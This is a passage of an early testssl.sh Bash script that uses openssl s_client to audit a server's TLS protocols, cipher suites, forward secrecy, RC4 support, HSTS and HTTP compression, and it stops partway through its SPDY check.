+# Program for spotting weak SSL encryption, ciphers, version and some vulnerablities or features
+
+VERSION="2.1alpha"
+SWURL="https://testssl.sh"
+SWCONTACT="dirk aet testssl dot sh"
+
+# Author: Dirk Wetter, copyleft: 2007-2014
+#
+# License: GPLv2, see http://www.fsf.org/licensing/licenses/info/GPLv2.html
+# and accompanying license "LICENSE.txt". Redistribution + modification under this
+# license permitted.
+# If you enclose this script or parts of it in your software, it has to
+# be accompanied by the same license (see link) and the place where to get
+# the recent version of this program: https://testssl.sh
+# Don't violate the license.
+#
+# USAGE WITHOUT ANY WARRANTY, THE SOFTWARE IS PROVIDED "AS IS". USE IT AT
+# your OWN RISK
+
+# I know reading this shell script is neither nice nor it's rocket science. However openssl
+# is a such a good swiss army knife (e.g. wiki.openssl.org/index.php/Command_Line_Utilities)
+# that it was difficult to resist wrapping it with some shell commandos. That's how everything
+# started -- but that was (and still is) a long way to go.
+#
+# One can do the same in other languages and/or choose another crypto provider as openssl -- YMMV.
+
+# Q: So what's the difference between https://www.ssllabs.com/ssltest or
+# https://sslcheck.globalsign.com/?
+# A: As of now ssllabs only check webservers on standard ports, reachable from
+# the internet. And those are 3rd parties. If those four restrictions are fine
+# with you, they might tell you more than this tool -- as of now.
+
+# Note that 56Bit ciphers are disabled during compile time in $OPENSSL > 0.9.8c
+# (http://rt.$OPENSSL.org/Ticket/Display.html?user=guest&pass=guest&id=1461)
+# ---> TLS1_ALLOW_EXPERIMENTAL_CIPHERSUITES in ssl/tls1.h . For testing it's recommended
+# to change this to 1 and recompile e.g. w/ ./config --prefix=/usr/ --openssldir=/etc/ssl .
+# Also some distributions disable SSLv2. Please note: Everything which is disabled or not
+# supported on the client side is not possible to test on the server side!
+# Thus as a courtesy I provide openssl binaries for Linux which have everything you need
+# enabled, see website
+#
+
+# following variables make use of $ENV, e.g. OPENSSL=<myprivate_path_to_openssl> ./testssl.sh <host>
+
+#OPENSSL="${OPENSSL:-/usr/bin/openssl}" # private openssl version --> is now evaluated below
+CAPATH="${CAPATH:-/etc/ssl/certs/}" # same as previous. Doing nothing yet. FC has only a CA bundle per default, ==> openssl version -d
+OSSL_VER="" # openssl version, will be autodetermined
+NC="" # netcat will be autodetermined
+ECHO="/usr/bin/printf" # works under Linux, BSD, MacOS. watch out under Solaris, not tested yet under cygwin
+COLOR=0 # with screen, tee and friends put 1 here (i.e. no color)
+SHOW_LCIPHERS=no # determines whether the client side ciphers are displayed at all (makes no sense normally)
+VERBERR=${VERBERR:-1} # 0 means to be more verbose (some like the errors to be dispayed so that one can tell better
+ # whether the handshake succeeded or not. For errors with individual ciphers you also need to have SHOW_EACH_C=1
+LOCERR=${LOCERR:-1} # Same as before, just displays am error if local cipher isn't support
+SHOW_EACH_C=${SHOW_EACH_C:-0} # where individual ciphers are tested show just the positively ones tested
+SNEAKY=${SNEAKY:-1} # if zero: the referer and useragent we leave while checking the http header is just usual
+#FIXME: consequently we should mute the initial netcat and openssl s_client -connect as they cause a 400 (nginx, apache)
+
+#FIXME: still to be filled with (more) sense:
+DEBUG=${DEBUG:-0} # if 1 the temp file won't be erased. Currently only keeps the last output anyway
+VERBOSE=${VERBOSE:-0} # if 1 it shows what's going on. Currently only used for heartbleed and ccs injection
+VERB_CLIST="" # ... and if so, "-V" shows them row by row cipher, SSL-version, KX, Au, Enc and Mac
+HSTS_MIN=180 #>180 days is ok for HSTS
+NPN_PROTOs="spdy/4a2,spdy/3,spdy/3.1,spdy/2,spdy/1,http/1.1"
+
+#global vars:
+TLS_PROTO_OFFERED=""
+SOCKREPLY=""
+HEXC=""
+SNI=""
+IP4=""
+IP6=""
+OSSL_VER_MAJOR=0
+OSSL_VER_MINOR=0
+OSSL_VER_APPENDIX="none"
+NODEIP=""
+IPS=""
+
+go2_column() { $ECHO "\033[${1}G"; }
+
+out() {
+ # if 2 args: second is column position
+ [ ! -z "$2" ] && go2_column "$2"
+ $ECHO "$1"
+}
+
+outln() {
+ [ ! -z "$1" ] && $ECHO "$1"
+ $ECHO "\n"
+}
+
+# some functions for text (i know we could do this with tput, but what about systems having no terminfo?
+# http://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html
+off() {
+ out "\033[m\c"
+}
+
+liteblue() {
+ [ $COLOR = 0 ] && out "\033[0;34m$1 " || out "$1 "
+ off
+}
+liteblueln() { liteblue "$1"; outln; }
+
+blue() {
+ [ $COLOR = 0 ] && out "\033[1;34m$1 " || out "$1 "
+ off
+}
+blueln() { blue "$1"; outln; }
+
+litered() {
+ [ $COLOR = 0 ] && out "\033[0;31m$1 " || out "*$1* "
+ off
+}
+literedln() { litered "$1"; outln; }
+
+red() {
+ [ $COLOR = 0 ] && out "\033[1;31m$1 " || "**$1** "
+ off
+}
+redln() { red "$1"; outln; }
+
+litemagenta() {
+ [ $COLOR = 0 ] && out "\033[0;35m$1 " || out "$1 "
+ off
+}
+litemagentaln() { litemagenta "$1"; outln; }
+
+
+magenta() {
+ [ $COLOR = 0 ] && out "\033[1;35m$1 " || out "**$1** "
+ off
+}
+magentaln() { magenta "$1"; outln; }
+
+litecyan() {
+ [ $COLOR = 0 ] && out "\033[0;36m$1 " || out "$1 "
+ off
+}
+litecyanln() { litecyan "$1"; outln; }
+
+cyan() {
+ [ $COLOR = 0 ] && out "\033[1;36m$1 " || out "**$1** "
+ off
+}
+cyanln() { cyan "$1"; outln; }
+
+grey() {
+ [ $COLOR = 0 ] && out "\033[1;30m$1 " || out "$1 "
+ off
+}
+greyln() { grey "$1"; outln; }
+
+litegrey() {
+ [ $COLOR = 0 ] && out "\033[0;37m$1 " || out "$1 "
+ off
+}
+litegreyln() { litegrey "$1"; outln; }
+
+litegreen() {
+ [ $COLOR = 0 ] && out "\033[0;32m$1 " || out "$1 "
+ off
+}
+litegreenln() { litegreen "$1"; outln; }
+
+green() {
+ [ $COLOR = 0 ] && out "\033[1;32m$1 " || out "**$1** "
+ off
+}
+greenln() { green "$1"; outln; }
+
+brown() {
+ [ $COLOR = 0 ] && out "\033[0;33m$1 " || out "**$1** "
+ off
+}
+brownln() { brown "$1"; outln; }
+
+yellow() {
+ [ $COLOR = 0 ] && out "\033[1;33m$1 " || out "**$1** "
+ off
+}
+yellowlnln() { yellowln "$1"; outln; }
+
+bold() { out "\033[1m$1"; off; }
+boldln() { bold "$1" ; outln; }
+
+underline() { out "\033[4m$1" ; off; }
+
+boldandunder() { out "\033[1m\033[4m$1" ; off; }
+
+reverse() { out "\033[7m$1" ; off; }
+
+
+# whether it is ok for offer/not offer enc/cipher/version
+ok(){
+ if [ "$2" -eq 1 ] ; then
+ case $1 in
+ 1) redln "offered (NOT ok)" ;; # 1 1
+ 0) greenln "NOT offered (ok)" ;; # 0 1
+ esac
+ else
+ case $1 in
+ 3) brownln "offered" ;; # 2 0
+ 2) boldln "offered" ;; # 2 0
+ 1) greenln "offered (ok)" ;; # 1 0
+ 0) boldln "not offered" ;; # 0 0
+ esac
+ fi
+ return $2
+}
+
+# in a nutshell: It's HTTP-level compression & an attack which works against any cipher suite and
+# is agnostic to the version of TLS/SSL, more: http://www.breachattack.com/
+breach() {
+ bold " BREACH"; out " =HTTP Compression, experimental "
+ [ -z "$1" ] && url="/"
+# referers are important here!
+ if [ $SNEAKY -eq 0 ] ; then
+ referer="Referer: http://google.com/" # see https://community.qualys.com/message/20360
+ useragent="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
+ else
+ referer="Referer: TLS/SSL-Tester from $SWURL"
+ useragent="User-Agent: Mozilla/4.0 (X11; Linux x86_64; rv:42.0) Gecko/19700101 Firefox/42.0"
+ fi
+ (
+ $OPENSSL s_client -quiet -connect $NODEIP:$PORT $SNI << EOF
+GET $url HTTP/1.1
+Host: $NODE
+$useragent
+Accept-Language: en-US,en
+Accept-encoding: gzip,deflate,compress
+$referer
+Connection: close
+
+EOF
+) &>$HEADERFILE_BREACH
+ret=$?
+# sometimes it hangs here. Currently only kill helps
+#test $DEBUG -eq 1 && \
+result=`cat $HEADERFILE_BREACH | grep -a '^Content-Encoding' | sed -e 's/^Content-Encoding//' -e 's/://' -e 's/ //g'`
+result=`echo $result | tr -cd '\40-\176'`
+ if [ -z $result ]; then
+ green "no HTTP compression "
+ else
+ litered "uses $result compression "
+ fi
+# Catch: any URL cvan be vulnerable. I am testing now only the root
+ outln "(only \"$url\" tested)"
+
+ return $ret
+}
+
+
+#problems not handled: chunked, 302
+http_header() {
+ [ -z "$1" ] && url="/"
+ if [ $SNEAKY -eq 0 ] ; then
+ referer="Referer: "
+ useragent="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
+ else
+ referer="Referer: TLS/SSL-Tester from $SWURL"
+ useragent="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/19700101 Firefox/42.0"
+ fi
+ (
+ $OPENSSL s_client -quiet -connect $NODEIP:$PORT $SNI << EOF
+GET $url HTTP/1.1
+Host: $NODE
+$useragent
+Accept-Language: en-US,en
+$referer
+Connection: close
+
+EOF
+) &>$HEADERFILE
+ ret=$?
+ # sometimes it hangs here ^^^. Currently only kill helps
+ test $DEBUG -eq 1 && cat $HEADERFILE
+ sed -e '/^<HTML/,$d' -e '/^<html/,$d' -e '/^<XML /,$d' -e '/<?XML /,$d' \
+ -e '/^<xml /,$d' -e '/<?xml /,$d' -e '/^<\!DOCTYPE/,$d' -e '/^<\!doctype/,$d' $HEADERFILE >$HEADERFILE.2
+#### ^^^ Attention: the filtering for the html body only as of now, doesn't work for other content yet
+ mv $HEADERFILE.2 $HEADERFILE # sed'ing in place doesn't work with BSD and Linux simultaneously
+
+ return $ret
+}
+
+#FIXME: it doesn't follow a 30x. At least a path should be possible to provide
+hsts() {
+ [ -s $HEADERFILE ] || http_header
+ bold " HSTS "
+ grep -i '^Strict-Transport-Security' $HEADERFILE >$TMPFILE
+ if [ $? -eq 0 ]; then
+# fix Markus Manzke:
+ AGE_SEC=`sed -e 's/\r//g' -e 's/^.*max-age=//' -e 's/;.*//' $TMPFILE`
+ AGE_DAYS=`expr $AGE_SEC \/ 86400`
+ if [ $AGE_DAYS -gt $HSTS_MIN ]; then
+ litegreen "$AGE_DAYS days \c" ; outln "($AGE_SEC s)"
+ else
+ brown "$AGE_DAYS days (<$HSTS_MIN is not good enough)"
+ fi
+ else
+ litecyan "no"
+ fi
+ outln
+
+ rm $TMPFILE
+ return $?
+}
+
+serverbanner() {
+ [ -s $HEADERFILE ] || http_header
+ bold " Server "
+ grep -i '^Server' $HEADERFILE >$TMPFILE
+ if [ $? -eq 0 ]; then
+ #out=`cat $TMPFILE | sed -e 's/^Server: //' -e 's/^server: //' -e 's/^[[:space:]]//'`
+ serverbanner=`cat $TMPFILE | sed -e 's/^Server: //' -e 's/^server: //'`
+# if [ x"$out" == "x\n" -o x"$out" == "x\n\r" -o x"$out" == "x" ]; then
+# outln "(line exists but empty string)"
+# else
+ outln "$serverbanner"
+# fi
+ else
+ outln "(None, interesting!)"
+ fi
+
+ bold " Application"
+# examples: php.net, asp.net , www.regonline.com
+ egrep -i '^X-Powered-By|^X-AspNet-Version|^X-Runtime|^X-Version' $HEADERFILE >$TMPFILE
+ if [ $? -eq 0 ]; then
+ #cat $TMPFILE | sed 's/^.*:/:/' | sed -e :a -e '$!N;s/\n:/ \n\ +/;ta' -e 'P;D' | sed 's/://g'
+ cat $TMPFILE | sed 's/^/ /'
+ else
+ litegrey " (None)"
+ fi
+ outln
+
+ rm $TMPFILE
+ return $?
+}
+
+#dead function as of now
+secure_cookie() { # ARG1: Path
+ [ -s $HEADERFILE ] || http_header
+ grep -i '^Set-Cookie' $HEADERFILE >$TMPFILE
+ if [ $? -eq 0 ]; then
+ outln "Cookie issued, status: "
+ if grep -q -i secure $TMPFILE; then
+ litegreenln "Secure Flag"
+ echo $TMPFILE
+ else
+ outln "no secure flag"
+ fi
+ fi
+}
+#FIXME: Access-Control-Allow-Origin, CSP, Upgrade, X-Frame-Options, X-XSS-Protection, X-Content-Type-Options
+# https://en.wikipedia.org/wiki/List_of_HTTP_header_fields
+
+
+# #1: string with 2 opensssl codes, HEXC= same in NSS/ssllab terminology
+normalize_ciphercode() {
+ part1=`echo "$1" | awk -F',' '{ print $1 }'`
+ part2=`echo "$1" | awk -F',' '{ print $2 }'`
+ part3=`echo "$1" | awk -F',' '{ print $3 }'`
+ if [ "$part1" == "0x00" ] ; then # leading 0x00
+ HEXC=$part2
+ else
+ part2=`echo $part2 | sed 's/0x//g'`
+ if [ -n "$part3" ] ; then # a SSLv2 cipher has three parts
+ part3=`echo $part3 | sed 's/0x//g'`
+ fi
+ HEXC="$part1$part2$part3"
+ fi
+ HEXC=`echo $HEXC | tr 'A-Z' 'a-z'` #tolower
+ return 0
+}
+
+prettyprint_local() {
+ if [ -z "$1" ]; then
+ blue "--> Displaying all local ciphers"; outln "\n"
+ fi
+
+ neat_header
+
+ $OPENSSL ciphers -V 'ALL:COMPLEMENTOFALL:@STRENGTH' | while read hexcode dash ciph sslversmin kx auth enc mac export; do
+ normalize_ciphercode $hexcode
+ if [ -n "$1" ]; then
+ echo $HEXC | grep -iq "$1" || continue
+ fi
+ neat_list $HEXC $ciph $kx $enc
+ outln
+ done
+ outln
+
+ return 0
+}
+
+
+# list ciphers (and makes sure you have them locally configured)
+# arg[1]: cipher list (or anything else)
+listciphers() {
+ if [ $LOCERR = 0 ]; then
+ $OPENSSL ciphers "$VERB_CLIST" $1 2>&1 >$TMPFILE
+ else
+ $OPENSSL ciphers "$VERB_CLIST" $1 &>$TMPFILE
+ fi
+ return $?
+}
+
+
+# argv[1]: cipher list to test
+# argv[2]: string on console
+# argv[3]: ok to offer? 0: yes, 1: no
+std_cipherlists() {
+ out "$2 ";
+ if listciphers $1; then
+ [ x$SHOW_LCIPHERS = "xyes" ] && out "local ciphers are: " && cat $TMPFILE | sed 's/:/, /g'
+ $OPENSSL s_client -cipher "$1" $STARTTLS -connect $NODEIP:$PORT $SNI 2>$TMPFILE >/dev/null </dev/null
+ ret=$?
+ if [ $VERBERR -eq 0 ]; then
+ # echo | $OPENSSL s_client -cipher $1 -connect "$NODE:$PORT" >&1 >$TMPFILE
+ head -2 $TMPFILE | egrep -v "depth|num="
+ fi
+ if [ $3 -eq 0 ]; then # ok to offer
+ if [ $ret -eq 0 ]; then # was offered
+ ok 1 0 # green
+ else
+ ok 0 0 # black
+ fi
+ elif [ $3 -eq 2 ]; then # not really bad
+ if [ $ret -eq 0 ]; then
+ ok 2 0 # offered in bold
+ else
+ ok 0 0 # not offered also in bold
+ fi
+ else
+ if [ $ret -eq 0 ]; then
+ ok 1 1 # was offered! --> red
+ else
+ #ok 0 0 # was not offered, that's ok
+ ok 0 1 # was not offered --> green
+ fi
+ fi
+ rm $TMPFILE
+ else
+ magenta "Local problem: No $2 configured in $OPENSSL" ; outln
+ fi
+ # we need lf in those cases:
+ [ "$LOCERR" -eq 0 ] && echo
+ [ "$VERBERR" -eq 0 ] && echo
+}
+
+# sockets inspired by http://blog.chris007.de/?p=238
+# ARG1: hexbyte, ARG2: hexode for TLS Version, ARG3: sleep
+socksend() {
+ data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
+ [ $VERBOSE -eq 1 ] && echo "\"$data\""
+ out "$data" >&5 &
+ sleep $3
+}
+sockread() {
+ SOCKREPLY=`dd bs=$1 count=1 <&5 2>/dev/null`
+}
+
+
+show_rfc_style(){
+ RFCname=`grep -iw $1 $MAP_RFC_FNAME | sed -e 's/^.*TLS/TLS/' -e 's/^.*SSL/SSL/'`
+ if [ -n "$RFCname" ] ; then
+ out "$RFCname" "$2";
+ fi
+}
+
+# header and list for all_ciphers+cipher_per_proto, and PFS+RC4
+neat_header(){
+ out " Hexcode"; out "Cipher Suite Name (OpenSSL)" 13; out "KeyExch." 43; out "Encryption" 52; out "Bits" 63
+ [ -r $MAP_RFC_FNAME ] && out "Cipher Suite Name (RFC)" 73
+ outln
+ printf "%s-----------------------------------------------------------------------"
+ [ -r $MAP_RFC_FNAME ] && printf "%s---------------------------------------------"
+ outln
+}
+
+neat_list(){
+ kx=`echo $3 | sed 's/Kx=//g'`
+ enc=`echo $4 | sed 's/Enc=//g'`
+ strength=`echo $enc | sed -e 's/.*(//' -e 's/)//'`
+ strength=`echo $strength | sed -e 's/ChaCha20-Poly1305//g'` # workaround for empty strength=ChaCha20-Poly1305
+ enc=`echo $enc | sed -e 's/(.*)//g'`
+ echo "$export" | grep -iq export && strength="$strength,export"
+ out " [$1]"; out "$2" 13; out "$kx" 43; out "$enc" 54; out "$strength" 63
+ [ -r $MAP_RFC_FNAME ] && show_rfc_style $HEXC 73
+}
+
+
+# test for all ciphers locally configured (w/o distinguishing whether they are good or bad
+allciphers(){
+# FIXME: e.g. OpenSSL < 1.0 doesn't understand "-V"
+ blue "--> Testing all locally available ciphers against the server"; outln "\n"
+ neat_header
+ $OPENSSL ciphers -V 'ALL:COMPLEMENTOFALL:@STRENGTH' | while read hexcode n ciph sslvers kx auth enc mac export; do
+ $OPENSSL s_client -cipher $ciph $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE </dev/null
+ ret=$?
+ if [ $ret -ne 0 ] && [ "$SHOW_EACH_C" -eq 0 ]; then
+ continue # no successful connect AND not verbose displaying each cipher
+ fi
+ normalize_ciphercode $hexcode
+ neat_list $HEXC $ciph $kx $enc
+ if [ "$SHOW_EACH_C" -ne 0 ]; then
+ [ -r $MAP_RFC_FNAME ] && go2_column 114
+ if [ $ret -eq 0 ]; then
+ cyan " available"
+ else
+ out " not a/v"
+ fi
+ fi
+ outln
+ rm $TMPFILE
+ done
+ return 0
+}
+
+# test for all ciphers per protocol locally configured (w/o distinguishing whether they are good or bad
+cipher_per_proto(){
+ blue "--> Testing all locally available ciphers per protocol against the server"; outln "\n"
+ neat_header
+ outln " -ssl2 SSLv2\n -ssl3 SSLv3\n -tls1 TLSv1\n -tls1_1 TLSv1.1\n -tls1_2 TLSv1.2"| while read proto prtext; do
+ locally_supported "$proto" "$prtext" || continue
+ outln
+ $OPENSSL ciphers $proto -V 'ALL:COMPLEMENTOFALL:@STRENGTH' | while read hexcode n ciph sslvers kx auth enc mac export; do
+ $OPENSSL s_client -cipher $ciph $proto $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE </dev/null
+ ret=$?
+ if [ $ret -ne 0 ] && [ "$SHOW_EACH_C" -eq 0 ]; then
+ continue # no successful connect AND not verbose displaying each cipher
+ fi
+ normalize_ciphercode $hexcode
+ neat_list $HEXC $ciph $kx $enc
+ if [ "$SHOW_EACH_C" -ne 0 ]; then
+ [ -r $MAP_RFC_FNAME ] && go2_column 114
+ if [ $ret -eq 0 ]; then
+ cyan " available"
+ else
+ out " not a/v"
+ fi
+ fi
+ outln
+ rm $TMPFILE
+ done
+ done
+
+ return 0
+}
+
+locally_supported() {
+ out "$2 "
+ $OPENSSL s_client "$1" 2>&1 | grep -q "unknown option"
+ if [ $? -eq 0 ]; then
+ magenta "Local problem: $OPENSSL doesn't support \"s_client $1\""
+ return 7
+ else
+ return 0
+ fi
+}
+
+testversion_new() {
+ $OPENSSL s_client -state $1 $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE </dev/null
+ ret=$?
+ [ "$VERBERR" -eq 0 ] && cat $TMPFILE | egrep "error|failure" | egrep -v "unable to get local|verify error"
+ rm $TMPFILE
+ return $ret
+}
+
+testprotohelper() {
+ if locally_supported "$1" "$2" ; then
+ testversion_new "$1" "$2"
+ return $?
+ else
+ return 7
+ fi
+}
+
+
+runprotocols() {
+ blue "--> Testing Protocols"; outln "\n"
+ # e.g. ubuntu's 12.04 openssl binary + soon others don't want sslv2 anymore: bugs.launchpad.net/ubuntu/+source/openssl/+bug/955675
+ # Sonderlocke hier #FIXME kann woanders auch auftauchen!
+ testprotohelper -ssl2 " SSLv2 "
+ ret=$?;
+ if [ $ret -ne 7 ]; then
+ if [ $ret -eq 0 ]; then
+ ok 1 1 # red
+ else
+ ok 0 1 # green "not offered (ok)"
+ fi
+ fi
+
+ if testprotohelper -ssl3 " SSLv3 " ; then
+ ok 3 0 # brown "offered"
+ else
+ ok 0 1 # green "not offered (ok)"
+ fi
+
+ if testprotohelper "-tls1" " TLSv1 "; then
+ ok 1 0
+ else
+ ok 0 0
+ fi
+
+ if testprotohelper "-tls1_1" " TLSv1.1 "; then
+ ok 1 0
+ else
+ ok 0 0
+ fi
+
+ if testprotohelper "-tls1_2" " TLSv1.2 "; then
+ ok 1 0
+ else
+ ok 0 0
+ fi
+ return 0
+}
+
+run_std_cipherlists() {
+ outln
+ blue "--> Testing standard cipher lists"; outln "\n"
+# see man ciphers
+ std_cipherlists NULL:eNULL " Null Cipher " 1
+ std_cipherlists aNULL " Anonymous NULL Cipher " 1
+ std_cipherlists ADH " Anonymous DH Cipher " 1
+ std_cipherlists EXPORT40 " 40 Bit encryption " 1
+ std_cipherlists EXPORT56 " 56 Bit encryption " 1
+ std_cipherlists EXPORT " Export Cipher (general) " 1
+ std_cipherlists LOW " Low (<=64 Bit) " 1
+ std_cipherlists DES " DES Cipher " 1
+ std_cipherlists 3DES " Triple DES Cipher " 2
+ std_cipherlists "MEDIUM:!NULL:!aNULL:!SSLv2" " Medium grade encryption " 2
+ std_cipherlists "HIGH:!NULL:!aNULL" " High grade encryption " 0
+ return 0
+}
+
+simple_preference() {
+ outln
+ blue "--> Testing server defaults (Server Hello)"; outln "\n"
+ # throwing every cipher/protocol at the server and displaying its pick
+ $OPENSSL s_client $STARTTLS -connect $NODEIP:$PORT $SNI -tlsextdebug </dev/null 2>/dev/null >$TMPFILE
+ localtime=`date "+%s"`
+ if [ $? -ne 0 ]; then
+ magentaln "This shouldn't happen. "
+ ret=6
+ else
+ out " Negotiated protocol "
+ TLS_PROTO_OFFERED=`grep -w "Protocol" $TMPFILE | sed -e 's/^ \+Protocol \+://' -e 's/ //g'`
+ case "$TLS_PROTO_OFFERED" in
+ *TLSv1.2) greenln $TLS_PROTO_OFFERED ;;
+ *TLSv1.1) litegreenln $TLS_PROTO_OFFERED ;;
+ *TLSv1) outln $TLS_PROTO_OFFERED ;;
+ *SSLv2) redln $TLS_PROTO_OFFERED ;;
+ *SSLv3) brownln $TLS_PROTO_OFFERED ;;
+ *) outln "FIXME: $TLS_PROTO_OFFERED" ;;
+ esac
+
+ out " Negotiated cipher "
+ default=`grep -w "Cipher" $TMPFILE | egrep -vw "New|is" | sed -e 's/^ \+Cipher \+://' -e 's/ //g'`
+ case "$default" in
+ *NULL*|*EXP*) redln "$default" ;;
+ *RC4*) literedln "$default" ;;
+ *CBC*) literedln "$default" ;; #FIXME BEAST: We miss some CBC ciphers here, need to work w/ a list
+ *GCM*) litegreenln "$default" ;; # best ones
+ ECDHE*AES*) brownln "$default" ;; # it's CBC. so lucky13
+ *) outln "$default" ;;
+ esac
+ outln
+
+ out " Server key size "
+ keysize=`grep -w "^Server public key is" $TMPFILE | sed -e 's/^Server public key is //'`
+ if [ -z "$keysize" ]; then
+ outln "(couldn't determine)"
+ else
+ case "$keysize" in
+ 1024*) literedln "$keysize" ;;
+ 2048*) outln "$keysize" ;;
+ 4096*) litegreenln "$keysize" ;;
+ *) outln "$keysize" ;;
+ esac
+ fi
+
+ out " TLS server extensions: "
+ extensions=`grep -w "^TLS server extension" $TMPFILE | sed -e 's/^TLS server extension \"//' -e 's/\".*$/,/g'`
+ if [ -z "$extensions" ]; then
+ outln "(none)"
+ else
+ echo $extensions | sed 's/,$//' # remove last comma
+ fi
+
+ out " Session Tickets RFC 5077 "
+ sessticket_str=`grep -w "session ticket" $TMPFILE | grep lifetime`
+ if [ -z "$sessticket_str" ]; then
+ outln "(none)"
+ else
+ lifetime=`echo $sessticket_str | grep lifetime | sed 's/[A-Za-z:() ]//g'`
+ unit=`echo $sessticket_str | grep lifetime | sed -e 's/^.*'"$lifetime"'//' -e 's/[ ()]//g'`
+ outln "$lifetime $unit"
+ fi
+ ret=0
+
+ #gmt_unix_time, removed since 1.0.1f
+ #
+ #remotetime=`grep -w "Start Time" $TMPFILE | sed 's/[A-Za-z:() ]//g'`
+ #if [ ! -z "$remotetime" ]; then
+ # remotetime_stdformat=`date --date="@$remotetime" "+%Y-%m-%d %r"`
+ # difftime=`expr $localtime - $remotetime`
+ # [ $difftime -gt 0 ] && difftime="+"$difftime
+ # difftime=$difftime" s"
+ # outln " remotetime? : $remotetime ($difftime) = $remotetime_stdformat"
+ # outln " $remotetime"
+ # outln " $localtime"
+ #fi
+ #http://www.moserware.com/2009/06/first-few-milliseconds-of-https.html
+ fi
+
+ rm $TMPFILE
+ return $ret
+}
+
+
+# http://www.heise.de/security/artikel/Forward-Secrecy-testen-und-einrichten-1932806.html
+pfs() {
+ outln
+ blue "--> Testing (Perfect) Forward Secrecy (P)FS)"; outln
+# https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-secrecy
+ PFSOK='EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA256 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EDH+aRSA EECDH RC4 !RC4-SHA !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS:@STRENGTH'
+# PFSOK='EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH'
+
+ $OPENSSL ciphers -V "$PFSOK" >$TMPFILE
+ if [ $? -ne 0 ] || [ `wc -l $TMPFILE | awk '{ print $1 }' ` -lt 3 ]; then
+ out "Note: you have the following client side ciphers only for PFS. "
+ out "Thus it doesn't make sense to test PFS"
+ cat $TMPFILE
+ return 1
+ fi
+ savedciphers=`cat $TMPFILE`
+ [ x$SHOW_LCIPHERS = "xyes" ] && echo "local ciphers available for testing PFS:" && echo `cat $TMPFILE`
+
+ $OPENSSL s_client -cipher 'ECDH:DH' $STARTTLS -connect $NODEIP:$PORT $SNI &>$TMPFILE </dev/null
+ ret=$?
+ outln
+ if [ $ret -ne 0 ] || [ `grep -c "BEGIN CERTIFICATE" $TMPFILE` -eq 0 ]; then
+ brown "no PFS available"
+ else
+ litegreen "PFS seems generally available. Now testing specific ciphers ..."; outln "\n"
+ noone=0
+ neat_header
+ $OPENSSL ciphers -V "$PFSOK" | while read hexcode n ciph sslvers kx auth enc mac; do
+ $OPENSSL s_client -cipher $ciph $STARTTLS -connect $NODEIP:$PORT $SNI &>/dev/null </dev/null
+ ret=$?
+ if [ $ret -ne 0 ] && [ "$SHOW_EACH_C" -eq 0 ] ; then
+ continue # no successful connect AND not verbose displaying each cipher
+ fi
+ normalize_ciphercode $hexcode
+ neat_list $HEXC $ciph $kx $enc $strength
+ if [ "$SHOW_EACH_C" -ne 0 ] ; then
+ [ -r $MAP_RFC_FNAME ] && go2_column 114
+ if [ $ret -eq 0 ]; then
+ green "works"
+ else
+ out "not a/v"
+ fi
+ else
+ noone=1
+ fi
+ outln
+ done
+ outln
+ if [ "$noone" -eq 0 ] ; then
+ out "Please note: detected PFS ciphers don't necessarily mean any client/browser will use them"
+ ret=0
+ else
+ magenta "no PFS ciphers found"
+ ret=1
+ fi
+ outln
+ fi
+ rm $TMPFILE
+ return $ret
+}
+
+
+rc4() {
+ outln
+ blue "--> Checking RC4 Ciphers" ; outln
+ $OPENSSL ciphers -V 'RC4:@STRENGTH' >$TMPFILE
+ [ x$SHOW_LCIPHERS = "xyes" ] && echo "local ciphers available for testing RC4:" && echo `cat $TMPFILE`
+ $OPENSSL s_client -cipher `$OPENSSL ciphers RC4` $STARTTLS -connect $NODEIP:$PORT $SNI &>/dev/null </dev/null
+ RC4=$?
+ if [ $RC4 -eq 0 ]; then
+ litered "\nRC4 seems generally available. Now testing specific ciphers..."; outln "\n"
+ bad=1
+ neat_header
+ cat $TMPFILE | while read hexcode n ciph sslvers kx auth enc mac; do
+ $OPENSSL s_client -cipher $ciph $STARTTLS -connect $NODEIP:$PORT $SNI </dev/null &>/dev/null
+ ret=$?
+ if [ $ret -ne 0 ] && [ "$SHOW_EACH_C" -eq 0 ] ; then
+ continue # no successful connect AND not verbose displaying each cipher
+ fi
+ normalize_ciphercode $hexcode
+ neat_list $HEXC $ciph $kx $enc $strength
+ if [ "$SHOW_EACH_C" -ne 0 ]; then
+ [ -r $MAP_RFC_FNAME ] && go2_column 114
+ if [ $ret -eq 0 ]; then
+ litered "available "
+ else
+ out "not a/v "
+ fi
+ else
+ bad=1
+ out
+ fi
+ outln
+ done
+ # https://en.wikipedia.org/wiki/Transport_Layer_Security#RC4_attacks
+ # http://blog.cryptographyengineering.com/2013/03/attack-of-week-rc4-is-kind-of-broken-in.html
+ outln
+ outln "RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a"
+ else
+ outln
+ litegreenln "No RC4 ciphers detected (OK)"
+ bad=0
+ fi
+
+ rm $TMPFILE
+ return $bad
+}
+
+
+# good source for configuration and bugs: https://wiki.mozilla.org/Security/Server_Side_TLS
+# good start to read: http://en.wikipedia.org/wiki/Transport_Layer_Security#Attacks_against_TLS.2FSSL
+
+
+lucky13() {
+#FIXME: to do
+# CVE-2013-0169
+# in a nutshell: don't offer CBC suites (again). MAC as a fix for padding oracles is not enough
+# best: TLS v1.2+ AES GCM
+ echo "FIXME"
+ echo
+}
+
+
+spdy(){
+ out " SPDY/NPN "
+ if [ "x$STARTTLS" != "x" ]; then
+ outln "SPDY is an HTTP protocol"
+ ret=2
+ fi
+ # first, does the current openssl support it?
+ $OPENSSL s_client help 2>&1 | grep -qw nextprotoneg
+ if [ $? -ne 0 ]; then
+ magenta "Local problem: $OPENSSL cannot test SPDY"; outln
